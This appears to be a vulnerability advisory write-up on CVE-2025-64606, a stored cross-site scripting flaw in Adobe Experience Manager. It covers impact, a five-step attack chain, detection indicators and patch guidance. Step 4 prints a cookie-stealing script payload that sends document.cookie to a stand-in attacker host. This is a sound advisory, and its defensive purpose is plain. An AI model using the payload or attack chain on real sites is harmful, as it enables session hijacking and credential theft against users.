CVE-2025-64606: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64606 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields, which is then stored and later executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) but no elevated privileges beyond a standard authenticated session. The attack vector is network-based with low complexity (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users of the AEM instance. Confidentiality and integrity are both impacted at a low level, while availability is not directly affected (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service versions prior to 2025.12.0, using web fingerprinting tools or Shodan.
2. Authentication: Obtain or use a low-privileged AEM user account (e.g., a content author or contributor role).
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input in form fields without adequate output encoding.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected content, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing suspicious script tags or encoded JavaScript payloads from low-privileged user accounts.
• Network: Outbound browser requests from victim sessions to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from AEM page loads.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) stored within AEM JCR content nodes or page properties that were not placed by authorized developers.
• Process/Browser: Unexpected JavaScript execution errors or redirects observed in browser developer console logs when accessing specific AEM pages.

Adobe has released patches addressing CVE-2025-64606 as part of security bulletin APSB25-115. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service users should ensure their environment is updated to the 2025.12.0 release or later. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any pre-existing injected scripts as a precautionary measure (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, that could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable added detection coverage via Nessus plugin 278346 shortly after disclosure. No significant independent researcher commentary or social media discussion specific to CVE-2025-64606 has been identified beyond standard vulnerability tracking and advisory coverage.